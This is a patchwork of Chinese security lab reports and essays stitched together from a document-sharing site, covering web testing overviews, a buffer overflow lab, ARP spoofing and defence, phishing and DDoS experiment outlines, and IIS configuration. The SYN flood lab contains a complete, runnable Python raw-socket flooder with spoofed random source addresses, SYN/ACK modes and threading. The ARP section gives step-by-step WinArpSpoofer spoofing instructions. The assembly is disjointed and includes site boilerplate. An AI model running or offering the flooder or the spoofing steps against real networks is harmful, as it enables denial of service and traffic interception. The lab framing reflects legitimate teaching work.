web安全实验2
Web安全测试
Web安全测试Web安全测试是指对Web应用程序进行安全性检测和评估的过程，旨在发现潜在的安全漏洞和弱点，以保护Web应用程序免受恶意攻击和数据泄露。
在当今数字化时代，Web安全测试变得愈发重要，因为Web应用程序承载了大量的敏感数据和个人信息，一旦遭受攻击，将会给个人和组织带来严重的损失。
因此，进行Web安全测试是保障信息安全的重要举措。
首先，Web安全测试需要从多个角度入手，包括但不限于网络安全、应用安全、数据库安全、身份验证和授权等方面。
在进行测试时，需要考虑常见的安全漏洞，如跨站脚本攻击（XSS）、SQL注入、跨站请求伪造（CSRF）等。
通过模拟黑客攻击的方式，测试人员可以发现并修复这些漏洞，以提高Web应用程序的安全性。
其次，Web安全测试需要采用多种测试方法和工具。
常见的测试方法包括静态测试和动态测试。
静态测试是指在不执行代码的情况下对Web应用程序进行分析，以发现潜在的安全问题。
而动态测试则是在应用程序运行时进行测试，以模拟真实环境中的攻击行为。
此外，还可以利用自动化测试工具，如Burp Suite、Nessus、OpenVAS等，来提高测试效率和发现潜在漏洞。
另外，Web安全测试需要持续进行，而不是一次性的工作。
随着Web应用程序的不断更新和演变，新的安全漏洞也会不断出现。
因此，定期进行安全测试是至关重要的。
同时，及时修复发现的安全漏洞也是保障Web应用程序安全的重要步骤。
最后，Web安全测试需要全员参与，而不仅仅是测试人员的责任。
开发人员、运维人员、安全团队等都应该意识到安全测试的重要性，并积极参与到安全测试的工作中。
只有全员共同努力，才能够有效地保护Web应用程序免受攻击。
总之，Web安全测试是一项复杂而又必不可少的工作。
通过采用多种测试方法和工具，持续进行安全测试，并让全员参与其中，才能够有效地保障Web应用程序的安全。
希望各个组织和个人都能够重视Web安全测试，共同维护一个安全可靠的网络环境。
国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御
信息安全与管理专业实训报告学生姓名：一、实训名称：拒绝服务攻击-TCP SYN Flood攻击与防御。
二、实训内容1、kali的安装部署2、SYN Flood攻击演示3、观察受攻击目标的系统状态4、防御措施三、实验步骤1、python攻击代码环境：ubuntu/kali +python 2.7.11使用方法如下：mode有三种模式syn攻击、ack攻击、混合攻击，虽说是支持多线程但是多个线程反而不如单线程快，估计是我的多线程弄得有些问题，麻烦这方面比较懂的朋友帮我指点一下。
我电脑是i7-6700单线程也只能这点速度。
cpu1已经使用89%了看一下抓包情况吧，因为只是测试用我也没带tcp的options字段，报文长度也不够64字节，不过也能传到目的地址。
下面是代码：#!/usr/bin/python#-*-coding:utf-8-*-import socketimport structimport randomimport threadingclass myThread (threading.Thread):def __init__(self,dstip,dstport,mode):threading.Thread.__init__(self)self.dstip = dstipself.dstport =dstportself.mode =modedef run(self):attack(self.dstip,self.dstport,self.mode)def checksum(data):s = 0n = len(data) % 2for i in range(0, len(data)-n, 2):s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:s+= ord(data[i+1])while (s >> 16):s = (s & 0xFFFF) + (s >> 16)s = ~s & 0xffffreturn sdef IP(source,destination,udplen):version = 4ihl = 5tos = 0tl = 20+udplenip_id = random.randint(1,65535)flags = 0offset = 0ttl = 128protocol =6check =0source = socket.inet_aton(source)destination = socket.inet_aton(destination)ver_ihl = (version << 4)+ihlflags_offset = (flags << 13)+offsetip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,check,source,destination)check=checksum(ip_header)ip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,socket.htons(check),source,destination)return ip_headerdef TCP(srcip,dstip,protocol,dp,fg):source = socket.inet_aton(srcip)destination = socket.inet_aton(dstip)srcport=random.randint(1,65535)dstport=dpsyn_num=random.randint(1,4000000000)if fg == 2:ack_num=0else:ack_num=random.randint(1,4000000000) hlen=5zero=0flag=fgwindow=8192check=0point=0tcplen=hlenh_f=(hlen << 12)+flagTCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,s yn_num,ack_num,h_f,window,check,point)check=checksum(TCP_head)TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point )return TCP_headdef makepacket(dstip,dstport,fg):srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'. '+str(random.randint(1,255))protocol=6ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)return ippacketdef attack(dstip,dstport,mode):if mode == 'syn':fg=2while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'ack':fg=18while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'syn&ack':while 1:data=makepacket(dstip,dstport,2)s.sendto(data,(dstip,dstport))data=makepacket(dstip,dstport,18)s.sendto(data,(dstip,dstport))else:print 'DON\'T xia say!'dstip=raw_input('attack IP:')dstport=int(input('attack PORT:'))mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads："))ip_first=[]for i in range(1,10):ip_first.append(i)for i in range(11,172):ip_first.append(i)for i in range(173,192):ip_first.append(i)for i in range(193,224):ip_first.append(i)s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)threads_name=[]for i in range(threads):threads_name.append('teread'+str(i))for i in range(threads):threads_name[i]=myThread(dstip,dstport,mode)for i in range(threads):threads_name[i].start()2、C语言攻击代码环境：ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)使用方法：支持两个参数目的ip和目的端口性能：限制发包速度的是带宽（我这是100M的网，除去报文的前导码和帧间隔极限速度差不多就是9m左右了），cpu利用才27%，我在1000Mbps的网速下测试，单线程的话速度能到40m左右，cpu占用率大约85%左右。
web安全测试方案
web安全测试方案为了确保网络系统的安全性，保护用户的个人信息和敏感数据，Web安全测试是一项至关重要的工作。
本文将介绍一种Web安全测试方案，用于评估和改进网站的安全性。
一、测试目标和范围Web安全测试的首要目标是发现潜在的漏洞和弱点，以及评估现有安全措施的有效性。
测试的范围包括但不限于以下几个方面：1. 网络架构和配置：测试网络架构和相关配置的安全性。
2. 系统和应用程序：测试各种系统和应用程序中的安全漏洞。
3. 数据库和存储：测试数据库和存储系统中的安全性。
4. 用户验证和访问控制：测试用户验证和访问控制机制的有效性。
5. 防火墙和入侵检测系统：测试防火墙和入侵检测系统是否正常工作。
6. 传输层安全：测试传输层安全协议和机制的可靠性。
二、测试方法和工具在进行Web安全测试时，可以采用以下多种方法和工具：1. 黑盒测试：模拟攻击者的行为，通过对系统进行渗透测试，评估系统的漏洞和弱点。
2. 白盒测试：对系统的内部结构和代码进行审查，检查潜在的安全风险。
3. 网络扫描：使用自动化工具扫描目标系统，识别可能存在的漏洞。
4. 代码审查：仔细审查系统的源代码，发现潜在的安全问题。
5. 社会工程学测试：通过模拟攻击者的社交工程手段，测试用户的安全意识和反应能力。
三、测试阶段和步骤Web安全测试应该按照以下几个阶段进行：1. 确定测试目标和范围：明确测试的目标和范围，并制定测试计划。
2. 收集信息和准备工作：收集与目标系统相关的信息，包括网络架构、应用程序、数据库等。
3. 漏洞扫描和渗透测试：使用合适的工具对系统进行扫描，识别潜在的漏洞，并进行渗透测试。
4. 审查代码和配置：对系统的内部代码和配置文件进行审查，查找可能存在的安全问题。
5. 社会工程学测试：通过向系统用户发送钓鱼邮件、进行电话欺诈等方式，测试用户的反应和安全意识。
6. 报告编写和总结：对测试结果进行整理和总结，并编写测试报告，提供改进建议和安全加固措施。
计算机网络实验报告——Web服务器的配置
计算机网络实验报告——Web服务器的配置第一篇：计算机网络实验报告——Web服务器的配置实验2 web服务器配置一、实验目的：掌握如何使用windows 2000 server的IIS5.0配置出web服务器二、实验内容：1、创建一个web站点，并且可以实现在别人的计算机上访问该站点2、使用不同的ｉｐ建立多个站点3、在一个站点下建立多个子站点（使用虚拟目录实现）4、在同一个套接字（即ip地址+端口）上建立多个站点（使用加主机头名方法实现）5、对站点进行安全管理（如浏览权限、帐号的使用、ｉｐ地址的设定）三、实验要求：一定要保证让别人正常的访问你建立的站点，并使实验结果达到预期的目的！四、实验步骤：1.使用当地IP地址建立web站点（1）准备工作：①关闭Windows 防火墙实验中，为了我们所建的站点能够被成功访问，先将Windows 防火墙关闭。
如图：②IIS功能设置控制面板所有控制面板项程序和功能---“打开或关闭windows所有功能”：出现了安装Windows功能的选项菜单，在“Internet信息服务”中手动选择需要的功能，如下图：③下载“花生壳软件”到本地，申请免费域名mqqfhg。
这样，完成了前期的所有准备工作，开始进行web服务器的建设。
（2）开始建立web站点①创建web站点“酒窝”打开“控制面板”——“管理工具”—“ Internet 信息服务(IIS)管理器”——右击“网站——“添加网站——选择“IP地址”及“物理路径”：② 选择“目录浏览”，点右侧的“启用”，将其设为启用状态。
③ 点击主页右侧的绑定，分配ip地址，端口保持“80”不变。
④ 保存一个网站文件（如百度首页），后缀名为.htm，将其保存在①中设定的物理路径（E:222222）中，并重命名为index.htm 更改“默认文件”，右侧改为启用，并将index.htm上移到第一位。
如图：⑤ 打开“asp”，如下图，更改“启用父路径”为“True”⑥ 点击右侧的“启动”，启动网站。
Web应用漏洞扫描实验报告
Web应用漏洞扫描实验报告1. 引言在当今互联网时代，Web应用的安全性备受关注。
随着网络攻击日益猖獗，网络安全问题已成为各大企业和个人用户必须面对的挑战。
本次实验我们将重点关注Web应用的漏洞扫描，通过模拟攻击来评估Web应用的安全性，并提供相应的解决方案。
本实验采用了XXX（扫描工具名称）进行漏洞扫描，旨在深入了解该工具的原理和应用。
2. 实验设备和环境2.1 实验设备：- 一台支持漏洞扫描的计算机- 模拟Web应用程序2.2 实验环境：- 操作系统：Windows 10- Web服务器：Apache Tomcat- 数据库服务器：MySQL3. 漏洞扫描工具简介3.1 XXX漏洞扫描工具XXX漏洞扫描工具是一款专业的Web应用漏洞扫描工具，广泛应用于企业和个人用户对Web应用安全性的评估。
该工具具有对多种漏洞类型的扫描和检测功能，包括但不限于SQL注入、跨站脚本攻击（XSS）等常见Web应用漏洞。
4. 实验步骤和结果4.1 实验准备在实验开始前，我们先搭建了一个基于Apache Tomcat的Web应用程序，并将其部署在漏洞扫描计算机上。
4.2 漏洞扫描设置针对本次实验的目标Web应用，我们设置了相应的扫描配置，包括扫描的深度、范围和相关规则等。
根据实验要求，我们将扫描范围设定为整个Web应用程序，并选择了常见的漏洞类型进行检测。
4.3 漏洞扫描结果在扫描过程中，XXX漏洞扫描工具对目标Web应用程序进行了全面的检测，并生成了详细的报告。
报告中列出了发现的漏洞类型、位置和严重程度。
我们对报告进行了仔细分析，并根据漏洞的严重程度，制定了解决方案和修补措施。
4.4 漏洞修复与验证根据漏洞扫描报告，我们对Web应用程序进行了相应的漏洞修复工作。
通过改进代码结构、增强输入验证和加强访问控制等方式，我们成功修复了检测到的漏洞，并重新进行了漏洞扫描验证。
5. 实验总结通过本次实验，我们深入了解了Web应用漏洞扫描的原理和应用，通过XXX漏洞扫描工具的使用，我们全面评估了目标Web应用程序的安全性，并制定了相应的解决方案。
软件安全实验二缓冲区溢出漏洞分析与验证
软件安全课程实验报告
实验二缓冲区溢出漏洞分析与验证
一、实验内容
1）本课程实验研究对象是一个Web服务器zookws，该服务器上运行一个Python的web应用zoobar，web用户之间转移一种称为zoo
bars的货币，分析web服务器的逻辑，寻找缓冲区溢出漏洞并触
发该漏洞；
2）实验环境为Ubuntu，在VMware Player虚拟机中的vm-6858运行，系统有两个账号：
root:口令6858，用来安装软件
httpd：口令6858，运行服务器和实验程序
二、实验预备
1.运行ifconfig查看ip
2.远程ssh连接
3. make编译程序
4.启动服务器
5.用浏览器访问zook服务
6.用ps命令查看当前运行的进程
三、寻找漏洞
1.实验缓冲区利用的是strcpy的缓冲区漏洞，找到代码中是否有strcpy，找到了，在dir_join中。
四、触发漏洞
1.打开服务器，启动web
2.那么就可以将原来分配的1024字节大小的缓冲区进行溢出，将请求的路径设
置很长，要超过1024，达到将代码覆盖的效果。
3.漏洞利用结果
五、实验分析与总结
这次实验让我们亲身经历了一次代码审计及缓冲区漏洞利用的过程，实验很有意思，学到的知识也非常的多，通过代码审计，在脑中便利可能的漏洞利用点，然后找出漏洞，并通过shell脚本利用漏洞来进行缓冲区溢出攻击，可以深刻的了解缓冲区漏洞的原理，在以后的审计代码中，会留意，在自己编写程序时，也会避免使用危险函数。
常见的Web应用安全测试技术
常见的Web应用安全测试技术Web应用安全测试是指通过对Web应用程序进行测试和评估，发现并修复潜在的安全漏洞和弱点，以保护Web应用程序免受各种安全威胁的技术。
在当今数字化时代，Web应用程序成为企业重要的业务支撑和用户交互平台，但同时也面临着日益增长的安全风险。
因此，进行常见的Web应用安全测试对于保护企业和用户的利益至关重要。
本文将介绍一些常见的Web应用安全测试技术，包括黑盒测试、白盒测试、灰盒测试、漏洞扫描和渗透测试等。
一、黑盒测试黑盒测试是一种不考虑应用程序内部结构和实现细节的测试方法。
测试人员只关注应用程序的输入和输出，从用户角度出发，模拟攻击者的行为进行测试。
黑盒测试可以发现一些常见的安全问题，如跨站脚本漏洞（XSS）、跨站请求伪造（CSRF）和SQL注入漏洞等。
为了进行黑盒测试，测试人员首先需要对Web应用程序的功能和交互过程有一定的了解。
然后，测试人员通过使用各种测试工具和技术模拟恶意用户的攻击行为，例如尝试输入特殊字符、异常输入、无效输入等，来测试应用程序的安全性。
二、白盒测试白盒测试是一种基于应用程序内部结构和实现细节的测试方法。
测试人员可以访问应用程序的源代码、配置文件和数据库等信息，以深入了解和评估应用程序的安全性。
白盒测试可以发现一些潜在的安全漏洞，如逻辑漏洞、代码注入和权限绕过等。
对于白盒测试，测试人员需要具备相关的开发技能和经验，能够理解和分析代码的逻辑结构和设计原则。
通过代码审计、安全架构评估和安全测试工具的使用，测试人员可以发现并修复一些潜在的安全问题。
三、灰盒测试灰盒测试是黑盒测试和白盒测试的结合，测试人员部分了解应用程序的内部结构和实现细节。
灰盒测试可以提高测试覆盖率和发现潜在的安全问题。
在进行灰盒测试时，测试人员可以使用一些代码分析工具来分析应用程序的源代码，并进行相关的安全测试。
灰盒测试可以更加全面地评估应用程序的安全性，同时也能够发现一些黑盒测试难以发现的安全问题。
网络安全经典实验
网络安全经典实验网络安全经典实验1. 网络钓鱼实验网络钓鱼实验是一种常见的网络安全实验，旨在测试用户的网络安全意识和防范能力。
实验中，通过发送一封看似合法的电子邮件，引诱用户点击恶意链接或提供个人敏感信息。
实验过程中，需要选择一个合适的场景，如银行、电商平台等。
设计一个伪造的电子邮件，以该场景为主题，称用户需要进行某种验证或操作。
邮件内容通常使用一些常见的手段，如创建紧急情况、限时特价等。
邮件中通常包含一个看似合法的链接。
实验结果可测评用户的警惕性和安全意识。
若用户点击了恶意链接或提供了个人敏感信息，说明用户的网络安全意识和防范能力较低；若用户未点击链接或提供个人信息，说明用户的网络安全意识较强。
2. 黑客入侵实验黑客入侵实验是一种模拟黑客攻击的实验，旨在测试系统的安全性和防护能力。
实验中，需要组建一个模拟的黑客攻击环境，并实施不同类型的攻击行为。
实验过程中，可以选择常见的黑客攻击手段，如漏洞利用、密码破解、社交工程等。
根据实验要求，通过模拟进行攻击，并观察系统对攻击的反应和防护能力。
实验结果可测评系统的安全性和防护能力。
若系统能够有效识别和阻止攻击，并对攻击行为进行报警和记录，说明系统的安全性较高；若系统无法有效阻止攻击或对攻击行为无任何反应，说明系统的安全性较低。
3. DDOS攻击实验DDOS攻击实验是一种模拟分布式拒绝服务攻击的实验，旨在测试网络的抗攻击能力和恢复能力。
实验中，需要组建一个模拟的攻击环境，并实施大量的请求来干扰正常的网络服务。
实验过程中，可以使用工具模拟大量的请求，并对目标网络进行攻击。
通过观察网络的负载情况和响应速度，评估网络的抗攻击能力和恢复能力。
实验结果可测评网络的抗攻击能力和恢复能力。
若网络在受攻击时能够保持正常的运行和响应，说明网络的抗攻击能力和恢复能力较高；若网络在受攻击时出现负载过高或服务中断等问题，说明网络的抗攻击和恢复能力较低。
综上所述，网络安全经典实验可以通过模拟真实的攻击场景来测试用户和系统的网络安全意识、防护能力和抗攻击能力。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
警示：实验报告如有雷同，雷同各方当次实验成绩均以0分计；在规定时间内未上交实验报告的，不得以其他方式补交，当次成绩按0分计；实验报告文件以PDF格式提交。
院系数据科学与计
算机学院
班级电政1班学号12330256姓名庞逍逸
完成日期：2015年12月4日
ARP测试与防御实验
【实验名称】
ARP测试与防御。
【实验目的】
使用交换机的ARP检查功能，防止ARP欺骗攻击。
【实验原理】
ARP（Address Resolution Protocol，地址解析协议）是一个位于TCP/IP协议栈中的低层协议，负责将某个IP地址解析成对应的MAC地址。
(1)对路由器ARP表的欺骗
原理：截获网关数据。
它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址，造成正常PC无法收到信息。
(2)对内网PC的网关欺骗
原理：伪造网关。
它的原理是建立假网关，让被它欺骗的PC向假网关发数据，而不是通过正常的路由器途径上网。
在PC看来，就是上不了网了，“网络掉线了”。
交换机的ARP检查功能，可以检查端口收到的ARP报文的合法性，并可以丢弃非法的ARP报文，防止ARP欺骗攻击。
【需求分析】
ARP欺骗攻击是目前内部网络出现的最频繁的一种攻击。
对于这种攻击，需要检查网络中ARP报文的合法性。
交换机的ARP检查功能可以满足这个要求，防止ARP欺骗攻击。
【实验拓扑】
ARP实验拓扑图
【实验设备】
交换机1台；
PC机2台（其中一台需要安装ARP欺骗攻击工具WinArpSpoofer）；
路由器1台（作为网关）。
【实验步骤】
步骤1配置IP地址，测试网络连通性。
按照拓扑图正确配置PC机、攻击机、路由器的IP地址，使用ping命令验证设备之间的连通性，保证可以互通。
查看PC机本地的ARP缓存，ARP表中存有正确的网关的IP与MAC地址绑定，在命令窗口下，arp–a。
步骤2在攻击机上运行WinArpSpoofer软件（在网络上下载）后，在界面“Adapter”选项卡中，选择正确的网卡后，WinArpSpoofer会显示网卡的IP地址、掩码、网关、MAC地址以及网关的MAC地址信息。
步骤3在WinArpSpoofer配置
在WinArpSpoofer界面中选择“Spoofing”标签，打开“Spoofing”选项卡界面；
在“Spoofing”页面中，取消选中“Act as a Router（or Gateway）while spoofing.”选项。
如果选中，软件还将进行ARP中间人攻击。
点选“->Gateway”，配置完毕后，单击“OK”按钮。
步骤4使用WinArpSpoofer进行扫描。
单击工具栏中的“Scan”按钮，软件将扫描网络中的主机，并获取其IP地址、MAC地址等信息。
步骤5进行ARP欺骗。
单击工具栏中的“Start”按钮，软件将进行ARP欺骗攻击。
步骤6验证测试。
通过使用Wireshark捕获攻击机发出的报文，可以看出攻击机发送了经过伪造的ARP应答（Reply）报文。
步骤7验证测试。
使用PC机ping网关的地址，发现无法ping通。
查看PC机的ARP缓存，可以看到PC机收到了伪造的ARP 应答报文后，更新了ARP表，表中的条目为错误的绑定，即网关的IP地址与攻击机的MAC地址进行了绑定。
这可在命令窗口下用arp–a进行显示。
步骤8配置ARP检查，防止ARP欺骗攻击。
在交换机连接攻击者PC的端口上启用ARP检查功能，防止ARP欺骗攻击。
Switch(config)#interface fastEthernet0/1
Switch(config-if)#switchport port-security
Switch(config-if)#switchport port-security mac-address[MAC]ip-address[IP]!将攻击者的MAC地址与其真实的IP地址绑定（MAC、IP以实际值代入）。
输入mac-address时，格式应为50e5498b9b99，中间不能有“-”符号。
步骤9验证测试。
启用ARP检查功能后，当交换机端口收到非法ARP报文后，会将其丢弃。
这时在PC机上查看ARP 缓存，可以看到ARP表中的条目是正确的，且PC可以ping通网关。
（注意：由于PC机之前缓存了错误的ARP条目，所以需要等到错误条目超时或者使用arp–d命令进行手动删除之后，PC机才能解析出正确的网关MAC地址。
【实验思考】
(1)ARP欺骗攻击比较常见，讨论有那些普通适用的防御措施。
答：1．使用""proxy""代理IP的传输。
2．管理员定期用响应的IP包中获得一个rarp请求，然后检查ARP响应的真实性。
3.管理员定期轮询，检查主机上的ARP缓存。
除非必要，否则停止使用ARP，将ARP做为永久条目保存在对应表中。
4．使用ARP服务器。
通过该服务器查找自己的ARP转换表来响应其他机器的ARP广播。
确保这台ARP服务器的安全。
5.使用硬件屏蔽主机。
设置好路由，确保IP地址能到达合法的路径。
（静态配置路由ARP条目），注意，使用交换集线器和网桥无法阻止ARP欺骗。
6.不要把网络安全信任关系建立在IP基础上或MAC基础上，（rarp同样存在欺骗的问题），理想的关系应该建立在IP+MAC基础上。
7.使用防火墙连续监控网络。
注意有使用SNMP的情况下，ARP的欺骗有可能导致陷阱包丢失。
(2)在IPv6协议下，是否有ARP欺骗攻击？
答：IPv6使用邻居发现协议NDP代替ARP，它组合了IPv4中的ARP、ICMP路由器发现和ICMP 重定向等协议，并对它们作了改进。
作为IPv6的基础性协议，NDP还提供了前缀发现、邻居不可达检测、重复地址监测、地址自动配置等功能。
所以应该没有了现在常见的ARP欺骗攻击，但是会有其他新的攻击方式。